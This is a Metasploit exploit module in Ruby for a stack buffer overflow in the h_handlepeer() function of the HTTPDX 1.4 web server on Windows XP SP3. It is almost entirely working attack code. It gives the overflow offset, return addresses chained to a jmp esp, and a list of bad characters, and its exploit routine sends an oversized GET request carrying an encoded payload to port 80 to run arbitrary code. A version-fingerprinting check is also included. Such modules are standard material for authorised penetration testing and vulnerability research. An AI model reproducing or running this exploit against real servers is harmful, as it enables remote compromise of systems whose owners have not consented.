httpdx 1.4 - h_handlepeer BoF



require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,    
            'Name'           => 'HTTPDX h_handlepeer() Function Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The 
                vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
                By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
            },
            'Author'         => [ 
                        'Pankaj Kohli <pankaj208[at]gmail.com>',    # Original exploit [see References]
                        'Trancer <mtrancer[at]gmail.com>'        # Metasploit implementation
                        ], 
            'References'     =>
                [
                    [ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
                    [ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ],
                    [ 'OSVDB', '58714' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2c\x2f\x3a\x3b\x3d\x3f\x5c",
                    'StackAdjustment' => -1500,
                    'DisableNops'    =>  'True',

                },
            'Platform'       => 'win',
            'Targets'        => 
            [
                [  'httpdx 1.4 - Windows XP SP3',
                    {
                    'Offset'    => 616,
                    'Rets'        => [ 0x64f8134b, 0x63b8624f, 0x7c874413 ],   # pop ret (core.dll), required to reach ret instruction (n.dll), jmp esp (kernel32.dll)
                    }
                ],
            ],
            'DefaultTarget'  => 0))
            register_options( [ Opt::RPORT(80) ], self.class )
    end

    def check
        response = send_request_raw

        if response and 
           response['Server'] and 
           response['Server'] =~ /httpdx\/1.4 (Win32)/
            return Exploit::CheckCode::Appears
        end
            
        return Exploit::CheckCode::Safe
    end

    def exploit
        connect

        sploit  = "GET /" + rand_text_alpha_lower(3, payload_badchars) + "="
        sploit << rand_text_alphanumeric(target['Offset'], payload_badchars)
        sploit << [ target['Rets'][0] ].pack('V') + [ target['Rets'][1] ].pack('V') + [ target['Rets'][2] ].pack('V')
        sploit << payload.encoded + rand_text_alphanumeric((payload_space - payload.encoded.length), payload_badchars)

        request = sploit + " HTTP/1.1\r\nHost: " + rand_text_alphanumeric(rand(8) + 1) + "\r\n\r\n"

        print_status("Trying target #{target.name}...")

        sock.put(request)
        sock.close

        disconnect
        handler
    end
end